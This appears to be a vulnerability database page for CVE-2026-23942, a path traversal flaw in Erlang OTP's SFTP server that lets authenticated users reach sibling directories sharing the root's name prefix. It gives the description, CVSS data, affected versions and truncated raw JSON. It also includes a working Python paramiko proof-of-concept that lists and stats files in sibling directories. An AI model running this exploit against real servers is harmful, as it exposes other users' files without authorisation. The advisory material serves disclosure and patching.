Security Vulnerability Report
中文
CVE-2026-23942 CVSS 5.4 MEDIUM

CVE-2026-23942

Published: 2026-03-13 19:54:16
Last Modified: 2026-05-21 15:22:39
Source: 6b3ad84c-e1a6-4bf7-a703-f496b71e49db

Description

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Erlang OTP (ssh_sftpd module) allows Path Traversal. This vulnerability is associated with program files lib/ssh/src/ssh_sftpd.erl and program routines ssh_sftpd:is_within_root/2. The SFTP server uses string prefix matching via lists:prefix/2 rather than proper path component validation when checking if a path is within the configured root directory. This allows authenticated users to access sibling directories that share a common name prefix with the configured root directory. For example, if root is set to /home/user1, paths like /home/user10 or /home/user1_backup would incorrectly be considered within the root. This issue affects OTP from OTP 17.0 until OTP 28.4.1, OTP 27.3.4.9 and OTP 26.2.5.18, corresponding to ssh from 3.0.1 until 5.5.1, 5.2.11.6 and 5.1.4.14.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:erlang:erlang\/ssh:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:erlang:erlang\/ssh:*:*:*:*:*:*:*:* - VULNERABLE
Erlang OTP 17.0 至 28.4.1
Erlang OTP 27.3.4.9
Erlang OTP 26.2.5.18
ssh 3.0.1 至 5.5.1
ssh 5.2.11.6
ssh 5.1.4.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-23942: Erlang OTP ssh_sftpd Path Traversal # Assuming SFTP server with root configured as /home/user1 # Attack: Access /home/user10 via path traversal using prefix match bypass import paramiko import sys def exploit_sftp(target_host, port, username, password, root_path='/home/user1'): """ Exploit path traversal in Erlang OTP ssh_sftpd. The vulnerability allows accessing sibling directories like /home/user10 because lists:prefix/2 treats /home/user10 as within /home/user1. """ try: transport = paramiko.Transport((target_host, port)) transport.connect(username=username, password=password) sftp = paramiko.SFTPClient.from_transport(transport) # Attempt to access sibling directory /home/user10 # lists:prefix/2 will match "/home/user1" in "/home/user10" sibling_path = root_path + '0' # becomes /home/user10 try: # Try to list contents of the sibling directory files = sftp.listdir(sibling_path) print(f'[+] Successfully accessed: {sibling_path}') print(f'[+] Files in sibling directory: {files}') # Try to read a file from the sibling directory for f in files: full_path = sibling_path + '/' + f try: # Attempt to read file attributes stat = sftp.stat(full_path) print(f' - {f}: size={stat.st_size}') except: pass except IOError as e: print(f'[-] Access denied or path not found: {sibling_path}') print(f'[-] Error: {e}') # Additional test: /home/user1_backup backup_path = root_path + '_backup' try: files = sftp.listdir(backup_path) print(f'[+] Successfully accessed: {backup_path}') print(f'[+] Files: {files}') except IOError as e: print(f'[-] Backup path not accessible: {backup_path}') sftp.close() transport.close() except Exception as e: print(f'[-] Connection failed: {e}') sys.exit(1) if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <host> <port> <username> <password>') print(f'Example: python {sys.argv[0]} 192.168.1.100 22 sftp_user password') sys.exit(1) exploit_sftp(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23942", "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "published": "2026-03-13T19:54:15.520", "lastModified": "2026-05-21T15:22:38.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Erlang OTP (ssh_sftpd module) allows Path Traversal.\n\nThis vulnerability is associated with program files lib/ssh/src/ssh_sftpd.erl and program routines ssh_sftpd:is_within_root/2.\n\nThe SFTP server uses string prefix matching via lists:prefix/2 rather than proper path component validation when checking if a path is within the configured root directory. This allows authenticated users to access sibling directories that share a common name prefix with the configured root directory. For example, if root is set to /home/user1, paths like /home/user10 or /home/user1_backup would incorrectly be considered within the root.\n\nThis issue affects OTP from OTP 17.0 until OTP 28.4.1, OTP 27.3.4.9 and OTP 26.2.5.18, corresponding to ssh from 3.0.1 until 5.5.1, 5.2.11.6 and 5.1.4.14."}, {"lang": "es", "value": "Limitación Inadecuada de un Nombre de Ruta a un Directorio Restringido ('Salto de Ruta') vulnerabilidad en Erlang OTP (módulo ssh_sftpd) permite Salto de Ruta.\n\nEsta vulnerabilidad está asociada con los archivos de programa lib/ssh/src/ssh_sftpd.erl y las rutinas de programa ssh_sftpd:is_within_root/2.\n\nEl servidor SFTP utiliza la coincidencia de prefijos de cadena a través de lists:prefix/2 en lugar de una validación adecuada de los componentes de la ruta al verificar si una ruta está dentro del directorio raíz configurado. Esto permite a los usuarios autenticados acceder a directorios hermanos que comparten un prefijo de nombre común con el directorio raíz configurado. Por ejemplo, si la raíz está configurada como /home/user1, rutas como /home/user10 o /home/user1_backup se considerarían incorrectamente dentro de la raíz.\n\nEste problema afecta a OTP desde OTP 17.0 hasta OTP 28.4.1, OTP 27.3.4.9 y OTP 26.2.5.18, lo que corresponde a ssh desde 3.0.1 hasta 5.5.1, 5.2.11.6 y 5.1.4.14."}], "metrics": {"cvssMetricV40": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.0", "versionEndExcluding": "26.2.5.18", "matchCriteriaId": "6241E245-67D2-4FA6-83FE-4E9A4A07B3D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*", "versionStartIncluding": "27.0", "versionEndExcluding": "27.3.4.9", "matchCriteriaId": "BE60BA92-431E-4DE3-A1C1-E8976E3A6BA7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*", "versionStartIncluding": "28.0", "versionEndExcluding" ... (truncated)